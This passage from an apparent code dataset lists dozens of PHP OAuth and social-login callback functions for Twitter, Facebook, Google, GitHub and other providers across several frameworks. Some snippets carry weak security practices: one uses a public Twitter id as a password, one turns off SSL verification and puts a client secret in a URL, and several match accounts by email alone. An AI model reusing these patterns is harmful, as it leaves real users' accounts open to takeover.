do_oauth($callback)\r\n\t{\r\n\t\t$connection = new TwitterOAuth($this->consumer_key, $this->consumer_secret);\r\n\r\n\t\t/* Get temporary credentials. */\r\n\t\t$request_token = $connection->getRequestToken($callback);\r\n\r\n\t\t/* Save temporary credentials to session. */\r\n\t\t$_SESSION['oauth_token'] = $token = $request_token['oauth_token'];\r\n\t\t$_SESSION['oauth_token_secret'] = $request_token['oauth_token_secret'];\r\n\r\n\t\t/* If last connection failed don't display authorization link. */\r\n\t\tswitch ($connection->http_code) {\r\n\t\t\tcase 200:\r\n\t\t\t\t/* Build authorize URL and redirect user to Twitter. */\r\n\t\t\t\t$url = $connection->getAuthorizeURL($token);\r\n\t\t\t\theader('Location: ' . $url);\r\n\t\t\t\tbreak;\r\n\t\t\tdefault:\r\n\t\t\t\t/* Show notification if something went wrong. */\r\n\t\t\t\techo 'Could not connect to Twitter. Refresh the page or try again later.';\r\n\t\t}\r\n\t}", "public function callback() {\n\t\t$this->load->library('twconnect');\n\n\t\t$ok = $this->twconnect->twprocess_callback();\n\t\t\n\t\tif ( $ok ) { redirect('twtest/success'); }\n\t\telse redirect ('twtest/failure');\n\t}", "public function handleProviderCallback()\n {\n $user = Socialite::driver('google')->stateless()->user();\n\n $existingUser = User::where('email', $user->getEmail())->first();\n\n if ($existingUser) {\n $existingUser->token = $user->token;\n $existingUser->save();\n\n Auth::login($existingUser);\n } else {\n $newUser = new User;\n $newUser->email = $user->getEmail();\n $newUser->token = $user->token;\n $newUser->save();\n\n Auth::login($newUser);\n }\n\n return redirect('/host');\n }", "public function login(){\n\t\t\t if(isset($_GET['oauth_token'])){\n\t\t\t\t\t// create a new twitter connection object with request token\n\t\t\t\t\t$connection = new TwitterOAuth($this->consumer_key, $this->consumer_secret, $_SESSION['request_token'], $_SESSION['request_token_secret']);\n\t\t\t\t\t// get the access token from getAccesToken method\n\t\t\t\t\t$access_token = $connection->getAccessToken($_REQUEST['oauth_verifier']);\n\t\t\t\t\tif($access_token){\t\n\t\t\t\t\t\t// create another connection object with access token\n\t\t\t\t\t\t$connection = new TwitterOAuth($this->consumer_key, $this->consumer_secret, $access_token['oauth_token'], $access_token['oauth_token_secret']);\n\t\t\t\t\t\t// set the parameters array with attributes include_entities false\n\t\t\t\t\t\n\t\t\t\t\t\t// get the data\n\t\t\t\t\t\t$getParam = array('include_email' => 'true', 'include_entities' => 'false', 'skip_status' => 'true'); \n\t\t\t\t\t\t$this->twitterUser = $connection->get('account/verify_credentials',$getParam);\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\n\t\t\n\t\t\t\n\t\t\t\t\tif($this->twitterUser){\n\t\t\t\t\t\t\n\t\t\t\t\t\t$user = $this->Users->find('all')->where(['email'=>$this->twitterUser->email])->first();\n\t\t\t\t\t\tif($user){\n\t\t\t\t\t\t\t$this->__updateAccount($user);\n\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t$this->__newAccount();\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t}else{\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t}", "public function loginWithTwitter() {\n $token = Input::get( 'oauth_token' );\n $verify = Input::get( 'oauth_verifier' );\n\n // get twitter service\n $tw = OAuth::consumer( 'Twitter' );\n\n // check if code is valid\n\n // if code is provided get user data and sign in\n if ( !empty( $token ) && !empty( $verify ) ) {\n\n // This was a callback request from twitter, get the token\n $token = $tw->requestAccessToken( $token, $verify );\n\n // Send a request with it\n $result = json_decode( $tw->request( 'account/verify_credentials.json' ), true );\n\n $message = 'Your unique Twitter user id is: ' . $result['id'] . ' and your name is ' . $result['name'];\n echo $message. \"<br/>\";\n\n //Var_dump\n //display whole array().\n dd($result);\n\n }\n // if not ask for permission first\n else {\n // get request token\n $reqToken = $tw->requestRequestToken();\n\n // get Authorization Uri sending the request token\n $url = $tw->getAuthorizationUri(array('oauth_token' => $reqToken->getRequestToken()));\n\n // return to twitter login url\n return Redirect::to( (string)$url );\n }\n }", "private function oauth() {\n if ($this->IntuitAnywhere->handle($this->the_username, $this->the_tenant))\n {\n ; // The user has been connected, and will be redirected to $that_url automatically.\n }\n else\n {\n // If this happens, something went wrong with the OAuth handshake\n die('Oh no, something bad happened: ' . $this->IntuitAnywhere->errorNumber() . ': ' . $this->IntuitAnywhere->errorMessage());\n }\n }", "public function callback() {\n\t\tif (isset($_SESSION['REQUEST_TOKEN'])) {\n\t\t\t$co = new Config();\n\t\t\t$co->setPackageObject(Package::getByHandle('rest_wordpress'));\n\t\t\t$wp_rest_api_url = $co->get('WP_REST_API_URL');\n\t\t\t$oauth_key = $co->get('WP_REST_API_OAUTH_KEY');\n\t\t\t$oauth_secret = $co->get('WP_REST_API_OAUTH_SECRET');\n\t\t\t\n\t\t\t$consumer = $this->getOauthConsumer($wp_rest_api_url, $oauth_key, $oauth_secret);\n\t\t\t\n\t\t\tif (is_object($consumer)) {\n\t\t\t\t// Get Zend_Oauth_Token_Access object\n\t\t\t\t$token = $consumer->getAccessToken($_GET, unserialize($_SESSION['REQUEST_TOKEN']));\n\t\t\t\t$oauth_token = $token->getToken();\n\t\t\t\t$oauth_token_secret = $token->getTokenSecret();\n\t\t\t\t\n\t\t\t\t$co->save('WP_REST_API_OAUTH_TOKEN', $oauth_token);\n\t\t\t\t$co->save('WP_REST_API_OAUTH_TOKEN_SECRET', $oauth_token_secret);\n\t\t\t\t\n\t\t\t\t$_SESSION['REQUEST_TOKEN'] = null;\n\t\t\t\t\n\t\t\t\t$this->redirect('/dashboard/wp_rest_api/authentication','authenticated');\n\t\t\t} else {\n\t\t\t\t$this->redirect('/dashboard/wp_rest_api/settings','required');\n\t\t\t}\n\t\t} else {\n\t\t\t$this->redirect('/dashboard/wp_rest_api/authentication','invalid_request_token');\n\t\t}\n\t}", "public function handleProviderCallback() {\n\n try {\n $socialUser = Socialite::driver('facebook')->user();\n } catch (Exception $ex) {\n return redirect('/');\n }\n\n $user = $this->findOrCreateUser($socialUser);\n\n Auth::login($user, true);\n\n //return redirect($this->socialRedirectTo);\n return redirect($this->socialRedirectTo);\n }", "public function callback(){\n\t\techo \"<strong>Note: </strong>Application should set callback URL to application-side for further specific authentication process.\\n<br>\";\n\t\t\n\t/**\n\t* Fetch auth\n\t*/\n\t\t$response = null;\n\t\tswitch($this->env['Callback.transport']){\n\t\t\tcase 'session':\n\t\t\t\tsession_start();\n\t\t\t\t$response = $_SESSION['opauth'];\n\t\t\t\tunset($_SESSION['opauth']);\n\t\t\t\tbreak;\n\t\t\tcase 'post':\n\t\t\t\t$response = $_POST;\n\t\t\t\tbreak;\n\t\t\tcase 'get':\n\t\t\t\t$response = $_GET;\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\techo '<strong style=\"color: red;\">Error: </strong>Unsupported Callback.transport.'.\"<br>\\n\";\n\t\t\t\tbreak;\n\t\t}\n\t\t\t\t\n\t/**\n\t * Validation\n\t */\n\t\tif (empty($response['auth']) || empty($response['timestamp']) || empty($response['signature']) || empty($response['auth']['provider']) || empty($response['auth']['uid'])){\n\t\t\techo '<strong style=\"color: red;\">Invalid auth response: </strong>Missing key auth response components.'.\"<br>\\n\";\n\t\t}\n\t\telseif (!$this->validate(sha1(print_r($response['auth'], true)), $response['timestamp'], $response['signature'], $reason)){\n\t\t\techo '<strong style=\"color: red;\">Invalid auth response: </strong>'.$reason.\".<br>\\n\";\n\t\t}\n\t\telse{\n\t\t\techo '<strong style=\"color: green;\">OK: </strong>Auth response is validated.'.\"<br>\\n\";\n\t\t}\n\t\t\n\t\t\n\t/**\n\t * Auth response dump\n\t */\n\t\techo \"<pre>\";\n\t\tprint_r($response);\n\t\techo \"</pre>\";\n\t}", "public function redirect() {\n\t\t$this->load->library('twconnect');\n\n\t\t/* twredirect() parameter - callback point in your application */\n\t\t/* by default the path from config file will be used */\n\t\t$ok = $this->twconnect->twredirect('twtest/callback');\n\n\t\tif (!$ok) {\n\t\t\techo 'Could not connect to Twitter. Refresh the page or try again later.';\n\t\t}\n\t}", "function twitter_oauth_callback_form_submit($form, &$form_state) {\n $key = variable_get('twitter_consumer_key', '');\n $secret = variable_get('twitter_consumer_secret', '');\n $response = $form_state['twitter_oauth']['response'];\n\n $twitter = new Twitter($key, $secret, $response['oauth_token'], $response['oauth_token_secret']);\n try {\n $twitter_account = $twitter->users_show($response['screen_name']);\n } catch (TwitterException $e) {\n form_set_error('screen_name', t('Request failed: @message.', array('@message' => $e->getMessage())));\n return;\n }\n // Save the new Twitter account and set the user's uid who added it.\n $twitter_account->set_auth($response);\n global $user;\n $twitter_account->uid = $user->uid;\n twitter_account_save($twitter_account, TRUE);\n\n $form_state['programmed'] = FALSE;\n $form_state['redirect'] = $form_state['twitter_oauth']['destination'];\n}", "public function handleProviderCallback()\n {\n $fbUser = Socialite::driver('facebook')->user();\n $user = User::where('facebook_id', $fbUser->id)\n ->orWhere('email', $fbUser->email)\n ->first();\n\n if(!$user) {\n $user = User::create([\n 'name' => $fbUser->name,\n 'email' => $fbUser->email,\n 'facebook_id' => $fbUser->id,\n 'active' => true,\n ]);\n $user->roles()->attach(Role::where('name', 'customer')->first()->id);\n }\n\n \\Auth::login($user, true);\n return redirect()->intended($this->redirectTo);\n }", "public function callback()\r\n {\r\n $helper = $this->facebook->getRedirectLoginHelper();\r\n\r\n try {\r\n $accessToken = $helper->getAccessToken();\r\n } catch (Exception $e){\r\n echo 'Error: ' . $e->getMessage();\r\n exit;\r\n }\r\n\r\n if (isset($accessToken)) {\r\n // Store access token in session.\r\n $_SESSION['facebook_access_token'] = (string)$accessToken;\r\n\r\n header('Location: /facebook/view');\r\n exit;\r\n } elseif($helper->getError()) {\r\n var_dump($helper->getError());\r\n var_dump($helper->getErrorCode());\r\n var_dump($helper->getErrorDescription());\r\n }\r\n\r\n\r\n }", "public function handleProviderCallback()\n {\n try {\n $keycloakUser = Socialite::driver('keycloak')->user();\n } catch (\\Throwable $th) {\n //throw $th;\n $keycloakUser = Socialite::driver('keycloak')->stateless()->user();\n }\n\n $user = $this->findOrCreateUser($keycloakUser);\n Auth::login($user, false);\n\n return redirect($this->redirectTo);\n }", "function twitter_auth_account_form_submit($form, &$form_state) {\n $key = variable_get('twitter_consumer_key', '');\n $secret = variable_get('twitter_consumer_secret', '');\n $oauth_callback = variable_get('twitter_oauth_callback_url', TWITTER_OAUTH_CALLBACK_URL);\n $callback_url = url($oauth_callback, array('absolute' => TRUE));\n\n $twitter = new Twitter($key, $secret);\n $params = array('oauth_callback' => $callback_url);\n $token = $twitter->get_request_token($params);\n if (!empty($token)) {\n $_SESSION['twitter_oauth']['token'] = $token;\n $_SESSION['twitter_oauth']['destination'] = $_GET['q'];\n // Check for the overlay.\n if (module_exists('overlay') && overlay_get_mode() == 'child') {\n overlay_close_dialog($twitter->get_authorize_url($token), array('external' => TRUE));\n overlay_deliver_empty_page();\n }\n else {\n drupal_goto($twitter->get_authorize_url($token));\n }\n }\n else {\n drupal_set_message(t('Could not obtain a valid token from the Twitter API. Please review the configuration.'),\n 'error');\n }\n}", "public function callback()\n {\n try {\n $user = Socialite::with('reddit')->user();\n } catch (Exception $e) {\n return redirect()->route('home')->with('message', [\n 'type' => 'danger',\n 'body' => 'There was an error authenticating with Reddit. Try again later.'\n ]);\n }\n\n $name = $user->nickname;\n $auth = User::firstOrCreate([\n 'id' => $user->id,\n 'name' => strtolower($name),\n 'nickname' => $name\n ]);\n\n Auth::login($auth, true);\n\n $redirectPath = session('redirect_to', '/');\n session()->forget('redirect_to');\n return redirect($redirectPath)->with('message', [\n 'type' => 'success',\n 'body' => 'You have successfully logged in!'\n ]);\n }", "public function handleProviderCallback()\n {\n try {\n $user = Socialite::driver('facebook')->user();\n } catch (Exception $e) {\n return redirect('auth/facebook');\n }\n $authUser = $this->findOrCreateUser($user);\n \n Auth::login($authUser, true);\n \n return redirect('/');\n }", "public function callback() {\n if ($code = optional_param('oauth2code', null, PARAM_RAW)) {\n $this->client->authenticate($code);\n $this->store_access_token($this->client->getAccessToken());\n $this->save_refresh_token();\n } else if ($revoke = optional_param('revoke', null, PARAM_RAW)) {\n $this->revoke_token();\n }\n if (optional_param('reloadparentpage', null, PARAM_RAW)) {\n $url = new moodle_url('/repository/googledrive/callback.php');\n redirect($url);\n }\n }", "public function handleProviderCallback()\n {\n $steem = Socialite::driver('steem')->user();\n\n /** @var UserRepository $userRepository */\n $userRepository = $this->em->getRepository(User::class);\n $user = $userRepository->findOneByAccount($steem->nickname);\n\n $avatar = empty($steem->avatar) ? asset('assets/custom/img/profile-picture.jpg') : $steem->avatar;\n\n // If the user already registered, update access token.\n // If no matching user exists, create one.\n if($user === null)\n {\n $user = new User();\n $user->setName($steem->name);\n $user->setIsActive(1);\n $user->setAccount($steem->nickname);\n $user->setProfileImage($avatar);\n $user->setAccessToken($steem->token);\n $user->setRefreshToken($steem->refreshToken);\n $this->em->persist($user);\n } else {\n /** @var User $user */\n $user->setName($steem->name);\n $user->setProfileImage($avatar);\n $user->setAccessToken($steem->token);\n $user->setRefreshToken($steem->refreshToken);\n }\n\n $this->em->flush();\n\n auth()->login($user, true);\n return redirect()->to('/');\n }", "public function handleProviderCallback()\n {\n try {\n $user = Socialite::driver('facebook')->user(); \n \n } catch (Exception $e) {\n return redirect('auth/facebook');\n }\n $authUser = $this->findOnCreated($user);\n Auth::login($authUser, true);\n \n return redirect()->route('home');\n }", "public function handleProviderCallback()\n {\n try\n {\n // get user data from Google\n $user = Socialite::driver('google')->user();\n\n // we look for a user with such data\n $existingUser = User::where('provider_id', $user->getId())->first();\n\n if ($existingUser) // if this user exists\n {\n Auth::login($existingUser);\n }\n else // we register a new user\n {\n $newUser = new User();\n\n $newUser->email = $user->getEmail();\n $newUser->provider_id = $user->getId();\n\n // when you login with Google you need to pay attention to that\n // getNickname() method return NULL, then you shall use getName() method to get name of a user\n $newUser->handle_social = $user->getName();\n $newUser->name = $user->getName();\n $newUser->password = bcrypt(uniqid());\n\n $newUser->save();\n\n // after saving user data to the database,\n // we automatically log in this user\n Auth::login($newUser);\n }\n\n flash('Successfully authenticated using Google');\n\n return redirect('/');\n }\n catch(Exception $e)\n {\n dd($e->getMessage());\n }\n }", "public function handleProviderCallback()\n {\n $user = Socialite::driver('github')->user();\n session(['user_token' => $user->token]);\n // dd($user);\n User::where('id', Auth::user()->id)->update(\n [\n 'github_access_token' => $user->token,\n 'github_nickname' => $user->nickname,\n 'github_email' => $user->email,\n ]\n );\n\n if (Auth::user()->role == 3) {\n return redirect()->route('student');\n }\n return redirect()->route('modules.index');\n }", "public function getLoginwithtwitter() {\n $token = Input::get('oauth_token');\n $verify = Input::get('oauth_verifier');\n\n// get twitter service\n $tw = OAuth::consumer('Twitter');\n\n// check if code is valid\n// if code is provided get user data and sign in\n if (!empty($token) && !empty($verify)) {\n\n// This was a callback request from twitter, get the token\n $token = $tw->requestAccessToken($token, $verify);\n\n// Send a request with it\n $result = json_decode($tw->request('account/verify_credentials.json'), true);\n\n $name = $result['name'];\n//$email = $result['email'];\n $pass = $result['id'];\n\n if (Auth::attempt(array('first_name' => $name, 'password' => $pass))) {\n return Redirect::to('/')->with('yes', 'تم تسجيل الدخول بنجاح ');\n }\n\n $user = new User;\n $user->first_name = $name;\n//$user->email = $email;\n $user->admin = 2;\n $user->active = 1;\n $user->password = Hash::make($pass);\n if ($user->save()) {\n if (Auth::attempt(array('first_name' => $name, 'password' => $pass))) {\n return Redirect::to('/')->with('yes', 'تم تسجيل الدخول بنجاح ');\n }\n }\n return Redirect::to('/')->with('yes', 'لا يمكنك الدخول بهذه الحساب البريد الاكتروني متطابق لحساب ما ');\n }\n// if not ask for permission first\n else {\n// get request token\n $reqToken = $tw->requestRequestToken();\n\n// get Authorization Uri sending the request token\n $url = $tw->getAuthorizationUri(array('oauth_token' => $reqToken->getRequestToken()));\n\n// return to twitter login url\n return Redirect::to((string) $url);\n }\n }", "public function getCallback(Request $request)\n {\n $inputs = $request->all();\n \n $oauthToken = $inputs['oauth_token'];\n $oauthVerifier = $inputs['oauth_verifier'];\n\n $connection = new TwitterOAuth(env('TWITTER_CONSUMER_KEY'), env('TWITTER_CONSUMER_SECRET'), $oauthToken, $oauthVerifier);\n\n $accessToken = $connection->oauth(\"oauth/access_token\", [\"oauth_verifier\" => $oauthVerifier]);\n \n //We suppose that each user can link her account to a single twitter account, so we use `updateOrCreate` instead of `create` in order to update the record instead of creating a new one in the case where the user logs in with a different account\n $twitterAccount = TwitterAccount::updateOrCreate(['user_id' => Auth::user()->id], [\n 'twitter_user_id' => $accessToken['user_id'],\n 'oauth_token' => $accessToken['oauth_token'],\n 'oauth_token_secret' => $accessToken['oauth_token_secret'],\n 'twitter_screen_name' => $accessToken['screen_name'],\n ]);\n \n return redirect()->route('twitter');\n }", "public function auth()\n\t{\n\t\tif (empty($this->_oAuthVerifier))\n\t\t{\n\t\t\tthrow new Exception('No data for social login: OAuth Verifier');\n\t\t}\n\n\t\t//We get the app config\n\t\t$token = $this->_app['session']->get(self::SOCIAL_TOKEN_NAME);\n\t\t$tokenSecret = $this->_app['session']->get(self::SOCIAL_TOKEN_SECRET_NAME);\n\n\t\t//Send an OAuth to twitter to try to login\n\t\t$oAuth = $this->_getTWOAuth($token, $tokenSecret);\n\n\t\t$tokenCredentials = $oAuth->getAccessToken($this->_oAuthVerifier);\n\n\t\t$oAuth = $this->_getTWOAuth($tokenCredentials['oauth_token'], $tokenCredentials['oauth_token_secret']);\n\t\t$oAuth->decode_json = false;\n\t\t$account = $oAuth->get(self::SOCIAL_OAUTH_VERIFY_CREDENTIALS_URI);\n\n\t\t$accountData = json_decode($account, true);\n\n\t\t$result = $this->_buildSocialResponse('twitter', $accountData['id'], $accountData['profile_image_url'], $accountData, null);\n\t\treturn $result;\n\t}", "public function handleProviderCallback()\n {\n $userProvider = Socialite::driver('google')->user();\n\n $name = $userProvider->getName();\n\n $email = $userProvider->getEmail();\n\n $providerId = $userProvider->getId();\n\n $socialLogin = SocialLogin::whereProviderId($providerId)->first();\n \n if ($socialLogin) {\n $user = User::whereId($socialLogin->user_id)->first();\n\n auth()->login($user);\n\n if (Session::has('previousSocialLoginUrl')) {\n return redirect(Session::get('previousSocialLoginUrl'));\n }\n\n if (Session::has('language')) {\n return redirect(url_home(Session::get('language')));\n } else {\n return redirect('/');\n }\n }\n\n if (!$socialLogin) {\n $user = User::whereEmail($email)->first();\n\n if (!$user) {\n $user = new User();\n $user->name = $name;\n $user->email = $email;\n $user->password = bcrypt(md5(str_random(16)));\n $user->active = true;\n $user->save();\n $confirmationToken = str_random(31) . $user->id;\n $user->confirmation_token = $confirmationToken;\n $user->save();\n\n $this->profileRepository->createProfile($user);\n \n $this->wishListRepository->createWishList($user->id);\n }\n\n $sLogin = new SocialLogin();\n $sLogin->user_id = $user->id;\n $sLogin->provider_id = $providerId;\n $sLogin->provider_name = 'google';\n $sLogin->save();\n\n auth()->login($user);\n\n if (Session::has('previousSocialLoginUrl')) {\n return redirect(Session::get('previousSocialLoginUrl'));\n }\n\n if (Session::has('language')) {\n return redirect(url_home(Session::get('language')));\n } else {\n return redirect('/');\n }\n }\n\n if (Session::has('previousSocialLoginUrl')) {\n return redirect(Session::get('previousSocialLoginUrl'));\n }\n\n if (Session::has('language')) {\n return redirect(url_home(Session::get('language')));\n } else {\n return redirect('/');\n }\n }", "public function handleProviderCallback(Request $request)\n {\n // Cancel\n if (!empty($request->error)) {\n if ($request->error == 'access_denied')\n {\n return redirect('/');\n }\n }\n \n // Initialization\n if ($request->is('facebook/*'))\n {\n $provider = 'facebook';\n }\n\n if ($request->is('twitter/*'))\n {\n $provider = 'twitter';\n }\n\n if ($request->is('google/*'))\n {\n $provider = 'google';\n }\n \n // Provider Driver\n if($provider == 'facebook' || $provider == 'twitter' || $provider == 'google')\n {\n if(empty($request->tokenprovider))\n {\n try\n { \n if($provider == 'twitter')\n {\n $user = Socialite::driver($provider)->user();\n\n $userToken = $user->token;\n $userId = $user->getId();\n $userEmail = $user->getEmail();\n $userName = $user->getName();\n $userUsername = $user->getNickname();\n\n $userArray = array(\n 'provider' => $provider,\n 'token' => $userToken,\n 'id' => $userId,\n 'email' => $userEmail,\n 'name' => $userName,\n 'username' => $userUsername,\n );\n\n $userEncode = Crypt::encryptString(serialize($userArray));\n $tokenProvider = $userEncode;\n }\n\n if($provider != 'twitter')\n {\n $user = Socialite::driver($provider)->stateless()->user();\n\n $tokenProvider = $user->token;\n $refreshToken = $user->refreshToken; // not always provided\n $expiresIn = $user->expiresIn;\n }\n }\n catch (Exception $e)\n {\n return redirect($provider);\n }\n\n return redirect($provider.'/'.$tokenProvider);\n }\n\n $userToken = $request->tokenprovider;\n\n if($provider == 'twitter')\n {\n $userDecode = Crypt::decryptString($userToken);\n $user = unserialize($userDecode);\n \n $userId = $user['id'];\n $userEmail = $user['email'];\n $userName = $user['name'];\n $userUsername = $user['username'];\n }\n\n if($provider != 'twitter')\n {\n $user = Socialite::driver($provider)->userFromToken($userToken);\n \n $userId = $user->getId();\n $userEmail = $user->getEmail();\n $userName = $user->getName();\n $userUsername = $user->getNickname();\n }\n\n $userProvider = UserProvider::where('provider_id', $userId)->first();\n if(!empty($userProvider))\n {\n $userCheck = User::where('provider_id', $userProvider->id)->first();\n if(!empty($userCheck))\n {\n $userAuth = new UserAuth;\n $userAuth->type = 'login-'.$userProvider->provider;\n $userAuth->user_id = $userCheck->id;\n $userAuth->user_ip = $request->ip();\n $userAuth->user_agent = $request->server('HTTP_USER_AGENT');\n $userAuth->save();\n\n Auth()->login($userCheck);\n return redirect('/');\n }\n }\n\n if (empty($userUsername))\n {\n $userUsername = str_slug($userName);\n $userUsername = str_replace('-','_',$userUsername);\n }\n\n return view('auth.social')->with([\n 'provider' => $provider,\n 'userToken' => $userToken,\n 'userId' => $userId,\n 'userEmail' => $userEmail,\n 'userName' => $userName,\n 'userUsername' => $userUsername,\n ]);\n }\n\n // Return Redirect\n return redirect('login');\n }", "public function handleProviderCallback()\n {\n try {\n $user = Socialite::driver('google')->user();\n $findUser = User::where('email', $user->getEmail())->first();\n if (!is_null($findUser)) {\n Auth::login($findUser);\n if (is_null(Auth::User()->session_id)) {\n Auth::user()->session_id = Session::getId();\n Auth::user()->save();\n }\n return redirect('/perfil');\n } else {\n return redirect('/')->with('errorLoginGoogle', 'No hay ningun registro con esa cuenta');\n }\n } catch (\\Throwable $th) {\n return redirect('/')->with('errorLoginGoogle', 'Error al intentar iniciar sesion con google');\n }\n }", "public function execute() {\n require 'src/twitteroauth.php';\n require 'src/twconfig.php';\n $om = \\Magento\\Framework\\App\\ObjectManager::getInstance ();\n /** @var \\Magento\\Customer\\Model\\Session $session */\n $session = $om->get('\\Magento\\Customer\\Model\\Session');\n /**\n * Retrives @Twitter consumer key and secret key from core session\n */\n $tw_oauth_token = $session->getTwToken ();\n $tw_oauth_token_secret = $session->getTwSecret ();\n \n $twitteroauth = new \\TwitterOAuth ( YOUR_CONSUMER_KEY, YOUR_CONSUMER_SECRET, $tw_oauth_token, $tw_oauth_token_secret );\n /**\n * Get Accesss token from @Twitter oAuth\n */\n $oauth_verifier = $this->getRequest()->getParam('oauth_verifier');\n $twitteroauth->getAccessToken($oauth_verifier);\n /**\n * Get @Twitter User Details from twitter account\n *\n * @return string Redirect URL or Customer save action\n */\n $user_info = $twitteroauth->get ( 'account/verify_credentials' );\n /**\n * Retrieve the user details into twitter profile info.\n *\n * @var $user_info array\n */\n $firstname = $user_info->name;\n $email = $this->_objectManager->create('\\Magento\\Customer\\Model\\Session')->getTwemail ();\n $isSeller = $session->getIsseller ();\n \n $lastname = $user_info->screen_name;\n /**\n * Retrieve the user details into twitter profile info.\n *\n * @var $user_info array If @user_info contains error means throws the error message.\n */\n if (isset ( $user_info->error ) || $email == '' || $firstname == '') {\n $session->addError ( __ ( 'Twitter Login connection failed' ) );\n $this->_objectManager->create ( '\\Magento\\Customer\\Model\\Url' )->getAccountUrl ();\n $this->accountRedirect->getRedirect ();\n } else {\n /**\n * If the email and firstname is not retreived print the error.\n */\n $this->createUser ( $email, $firstname, $lastname, $isSeller );\n }\n }", "function verify_twitter_login()\r\n\t{\r\n\t\t// Verifies the user has logged in\r\n\t\t$json = $this->twitter_con->get('account/verify_credentials');\r\n\r\n\t\t// Checks if an error message was returned\r\n\t\tif(isset($json->error))\r\n\t\t{\r\n\t\t\techo('<div class=\"error\"><p><strong>Twitter Blog Plugin</strong><br />Twitter Authentication Error: ' . $json->error . ' <a href=\"options-general.php?page=twitter-blog-menu\">Settings Page</a><br />\t\t\t\t <em>Note: As of version 0.8, Twitter authentication is done with OAuth. You will need to re-enter your login information. Set up the below options first, as you\\'ll need to specify the details of your app</em></p></div>');\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\treturn true;\r\n\t\t}\r\n\t}", "public function oauthCallback(Request $request)\n {\n\n // First retrieve the access token from twitch\n $tokenRequest = new TwitchTokenRequest($request->input(\"code\"));\n $tokenResponse = $tokenRequest->perform();\n $accessToken = $tokenResponse->getAccessToken();\n\n // Next get the user associated with this access token\n $userRequest = new TwitchUserRequest($accessToken);\n $userResponse = $userRequest->perform();\n $user = $userResponse->getUser();\n\n $followRequest = new TwitchFollowRequest($accessToken, $user->name);\n $followResponse = $followRequest->perform();\n $follows = $followResponse->getFollows();\n\n // Now we pass the token to a static function that associates the session with this user.\n // If the user has never logged in before we create a new user entry on our side and log them in,\n // if the user exists we update their access token and log them in.\n\n return redirect(url(''));\n }", "public function executeLogin(sfRequest $request) {\n $consumer_key = sfConfig::get('app_sf_twitter_auth_consumer_key');\n $consumer_secret = sfConfig::get('app_sf_twitter_auth_consumer_secret');\n $user = $this->getUser(); /* @var $user myUser */\n\n /* If oauth_token is missing get it */\n if ($request->hasParameter('oauth_token') && $user->getAttribute('oauth_state', null, 'sfTwitterAuth') == 'start') {\n $user->setAttribute('oauth_state', 'returned', 'sfTwitterAuth');\n }\n\n /*\n * Switch based on where in the process you are\n *\n * 'default': Get a request token from twitter for new user\n * 'returned': The user has authorized the app on twitter\n */\n switch ($user->getAttribute('oauth_state', null, 'sfTwitterAuth')) {\n default:\n /* Create TwitterOAuth object with app key/secret */\n $connection = new TwitterOAuth($consumer_key, $consumer_secret);\n /* Request tokens from twitter */\n $tok = $connection->getRequestToken($this->getController()->genUrl(array('sf_route' => 'login'), true));\n\n /* Save tokens for later */\n $user->setAttribute('oauth_request_token', $tok['oauth_token'], 'sfTwitterAuth');\n $user->setAttribute('oauth_request_token_secret', $tok['oauth_token_secret'], 'sfTwitterAuth');\n $user->setAttribute('oauth_state', 'start', 'sfTwitterAuth');\n\n /* Build the authorization URL */\n $request_link = $connection->getAuthorizeURL($tok['oauth_token']);\n return $this->redirect($request_link);\n break;\n case 'returned':\n /* If the access tokens are already set skip to the API call */\n if ((!$user->getAttribute('oauth_access_token', null, 'sfTwitterAuth')) && (!$user->getAttribute('oauth_access_token_secret', null, 'sfTwitterAuth'))) {\n /* Create TwitterOAuth object with app key/secret and token key/secret from default phase */\n $connection = new TwitterOAuth($consumer_key, $consumer_secret, $user->getAttribute('oauth_request_token', null, 'sfTwitterAuth'), $user->getAttribute('oauth_request_token_secret', null, 'sfTwitterAuth'));\n /* Request access tokens from twitter */\n $tok = $connection->getAccessToken($request->getParameter('oauth_verifier'));\n /* Save the access tokens. These could be saved in a database as they don't\n currently expire. But our goal here is just to authenticate the session. */\n $user->setAttribute('oauth_access_token', $tok['oauth_token'], 'sfTwitterAuth');\n $user->setAttribute('oauth_access_token_secret', $tok['oauth_token_secret'], 'sfTwitterAuth');\n }\n /* Create TwitterOAuth with app key/secret and user access key/secret */\n $connection = new TwitterOAuth($consumer_key, $consumer_secret, $user->getAttribute('oauth_access_token', null, 'sfTwitterAuth'), $user->getAttribute('oauth_access_token_secret', null, 'sfTwitterAuth'));\n /* Run request on twitter API as user. */\n $result = $connection->get('account/verify_credentials');\n\n if ($result->id) {\n $guardUser = Doctrine::getTable('sfGuardUser')->findOneById($result->id);\n\n if (!$guardUser) {\n // Make a new user here\n $guardUser = $this->createUser($result);\n }\n\n $user->signIn($guardUser);\n\n foreach(Doctrine::getTable('sfGuardUser')->findByIds($connection->get('friends/ids')) as $speakrUser) {\n $speakrUser->Followers[] = $guardUser;\n $speakrUser->save();\n }\n\n // always redirect to a URL set in app.yml\n // or to the referer\n // or to the homepage\n $signinUrl = sfConfig::get('app_sf_twitter_auth_success_signin_url', $user->getReferer($request->getReferer()));\n\n return $this->redirect('' != $signinUrl ? $signinUrl : '@homepage');\n } else {\n $user->getAttributeHolder()->removeNamespace('sfTwitterAuth');\n $this->redirect('sfTwitterAuth/failed');\n }\n break;\n }\n }", "public function callback()\n {\n if( isset( $this->config['oauth_id'] ) && isset( $this->config['oauth_secret'] ) && isset( $this->config['oauth_token'] ) )\n $this->redirect( '' );\n \n // Make sure we got our auth code\n if( !isset( $this->input['code'] ) )\n $this->redirect( 'oauth/token' );\n \n // Exchange for a token\n $req = new HTTP_Request2( \"https://github.com/login/oauth/access_token?client_id={$this->config['oauth_id']}&redirect_uri=http://\".$_SERVER['HTTP_HOST'].$this->baseURL.\"oauth/callback&client_secret={$this->config['oauth_secret']}&code={$this->input['code']}\" );\n $req->setConfig( 'ssl_verify_peer', false );\n $req->setMethod( HTTP_Request2::METHOD_POST );\n \n try \n {\n $res = $req->send();\n \n if( 200 == $res->getStatus() )\n $response = $res->getBody(); \n } \n catch( Exception $e ) \n {\n $this->err = $e;\n }\n \n // Got a valid response\n if( strstr( $response, 'access_token=' ) )\n {\n $this->token = str_replace( 